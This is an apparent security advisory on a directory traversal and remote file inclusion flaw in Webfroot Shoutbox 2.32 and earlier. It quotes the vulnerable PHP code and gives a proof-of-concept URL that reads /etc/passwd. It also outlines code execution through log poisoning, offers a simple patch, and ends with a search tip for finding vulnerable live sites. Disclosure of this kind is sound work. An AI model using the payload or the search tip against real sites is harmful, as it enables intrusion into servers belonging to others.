Summary: Webfroot Shoutbox 2.32 and below directory traversal and code injection.

Description
===========
Webfroot Shoutbox is PHP script released under the GPL. Also known as a tagboard 
or a blabbox, shoutboxes allow visitors to your website to leave messages to 
other visitors quickly and easily.

Details
=======
User can view any readable file on system where webfroot shoutbox is running using
$conf variable.

i) Shoutbox v2.32

shoutbox.php line 43
-------------------------------------------------------------------
if (!isset($conf)) {
   $conf="shoutboxconf.php";
} else {
   # michel v was there 
   $conf = str_replace(':', '', $conf); // hi cross-site scripting, bye cross-site scripting
   $conf = str_replace('%3a', '', $conf); // hi cross-site scripting, bye cross-site scripting
}

require_once ($conf);
-------------------------------------------------------------------

ii) Shoutbox v2.31

shoutbox.php line 43
-------------------------------------------------------------------
if (!isset($conf)) {
   $conf="shoutboxconf.php";
}

require_once ($conf);
--------------------------------------------------------------------

Proof of concept
================

a) View any readable file
  https://blablabla.com/shoutbox.php?conf=../../../../../../../etc/passwd

b) Remote command execution
  i)  for version 2.31 user can remotely include file.
  ii) version 2.32 user can use apache access_log to include php code
    [see attachment]
    

Workaround
==========
Append to line 48 of shoutbox.php
  $conf = str_replace('./', '', $conf); // to avoid directory traversal


Tips
====
Search for ":: Shoutbox" at www.google.com can easily identify vulnerable site (129,000 result)
